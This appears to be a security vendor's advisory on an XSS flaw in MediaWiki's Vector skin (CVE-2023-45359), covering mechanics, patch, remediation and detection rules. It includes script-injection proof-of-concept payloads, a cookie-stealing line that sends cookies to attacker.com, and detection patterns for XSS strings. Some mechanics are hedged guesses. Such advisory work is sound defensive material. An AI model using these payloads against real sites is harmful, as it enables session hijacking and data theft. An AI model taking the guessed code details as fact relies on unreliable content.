CVE-2023-45359

Executive Summary

CVE-2023-45359 is a Cross-Site Scripting (XSS) vulnerability in the Vector skin component of MediaWiki, affecting versions prior to 1.39.5 and 1.40.x before 1.40.1. The vulnerability arises from the failure to escape the vector-toc-toggle-button-label message, which can contain user-controlled markup via the line parameter. An attacker can inject arbitrary JavaScript into the page, leading to session hijacking, defacement, or data theft. The vulnerability is publicly known, and proof-of-concept code exists. No active exploitation in the wild has been reported as of the latest EPSS data.

Supply Chain & Package Security

This vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the core MediaWiki application. The fix is available via official MediaWiki releases. Administrators should update their installations immediately.

CVSS Breakdown & Threat Level

The CVSS score is not officially assigned, but based on the vulnerability characteristics, a reasonable estimate is:

• Attack Vector (AV): Network (N) – The vulnerability can be triggered remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – An unauthenticated user can trigger the XSS.
• User Interaction (UI): Required (R) – The victim must view a crafted page.
• Scope (S): Changed (C) – The injected script can affect the user's session.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No direct impact on availability.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Estimated Score: 6.1 (Medium)

Threat Level: Medium. The vulnerability requires user interaction but is trivial to exploit once a crafted page is viewed.

Deep Dive & Mechanics

The Vector skin in MediaWiki uses a message called vector-toc-toggle-button-label to generate the label for the table of contents toggle button. This message is defined in the skin's i18n files and can include a $1 placeholder that is replaced with the line parameter from the page content.

In vulnerable versions, the output of this message is not escaped before being inserted into the HTML. An attacker can craft a page with a malicious line parameter containing JavaScript code. When a user views the page, the script executes in their browser context.

Root Cause: The line parameter is passed directly into the message without sanitization or escaping. The message is then rendered in the HTML without proper output encoding.

Attack Vector: An attacker with the ability to create or edit pages (or via a crafted URL) can inject XSS payloads.

Vulnerable vs. Patched Code

Vulnerable Code (MediaWiki < 1.39.5 / < 1.40.1):

In the Vector skin's includes/templates/TableOfContents.mustache or similar template, the message is rendered without escaping:

<button class="vector-toc-toggle-button" aria-label="{{msg-vector-toc-toggle-button-label}}">

The message vector-toc-toggle-button-label is defined in i18n/en.json as:

"vector-toc-toggle-button-label": "Toggle the table of contents $1"

Where $1 is replaced with the line parameter from the page. This replacement is done without escaping.

Patched Code (MediaWiki >= 1.39.5 / >= 1.40.1):

The fix escapes the message output using htmlspecialchars() or the MediaWiki Message::escaped() method:

// In the skin's PHP code
$label = wfMessage( 'vector-toc-toggle-button-label', $line )->escaped();

This ensures that any HTML or JavaScript in the line parameter is encoded, preventing XSS.

Exploitation & Lab Setup

Red Team

Proof of Concept:

1. Setup: Install a vulnerable MediaWiki version (e.g., 1.39.4) with the Vector skin enabled.
2. Craft Payload: Create a page with a malicious line parameter. For example, edit a page and add the following to the content:

   __TOC__
   <span style="display:none" data-mw-line="<script>alert('XSS')</script>">
   

   Or, if the line parameter is passed via URL, craft a link like:

   https://target/wiki/Page?line=<script>alert('XSS')</script>
   

3. Trigger: When a user views the page, the script executes.

Advanced Payload: Steal cookies:

<script>document.location='https://attacker.com/steal?c='+document.cookie</script>

Blue Team

Detection:

• Monitor for unusual line parameters in URLs or page content.
• Look for unexpected JavaScript execution in the Vector skin's toggle button.
• Use the detection rules below.

Prevention:

• Apply the patch immediately.
• Use a Web Application Firewall (WAF) to block XSS payloads in the line parameter.
• Restrict page creation and editing to trusted users.

Indicators of Compromise (IOCs)

• URL Pattern: Requests containing ?line= or &line= with script tags or event handlers.
• Log Entries: MediaWiki logs showing unusual line parameter values.
• Page Content: Pages containing data-mw-line attributes with JavaScript.
• Network Traffic: Outbound connections to attacker-controlled domains from user browsers.

Detection Engineering

YARA Rule

rule CVE_2023_45359_XSS_MediaWiki {
    meta:
        description = "Detects XSS payloads targeting CVE-2023-45359 in MediaWiki Vector skin"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2023-45359"
    strings:
        $payload1 = /line=.*<script/i
        $payload2 = /line=.*onerror/i
        $payload3 = /line=.*onload/i
        $payload4 = /line=.*javascript:/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2023-45359 MediaWiki Vector Skin XSS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit XSS in MediaWiki Vector skin via the line parameter
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: "line="
        c-uri|re: "(<script|onerror|onload|javascript:)"
    condition: selection
falsepositives:
    - Legitimate use of line parameter with safe content
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-45359 MediaWiki Vector Skin XSS Attempt"; flow:to_server; content:"line="; http_uri; pcre:"/(<script|onerror|onload|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade MediaWiki to version 1.39.5 or 1.40.1 (or later).
2. If upgrade is not possible, apply the patch manually by escaping the vector-toc-toggle-button-label message output in the Vector skin code.

Long-term Mitigation:

• Implement Content Security Policy (CSP) headers to restrict script execution.
• Regularly update MediaWiki and all extensions.
• Conduct security reviews of custom skin modifications.

Workaround:

• Disable the Vector skin and use a different skin (e.g., MonoBook) until the patch is applied.

Valters IT
Securing Digital Frontiers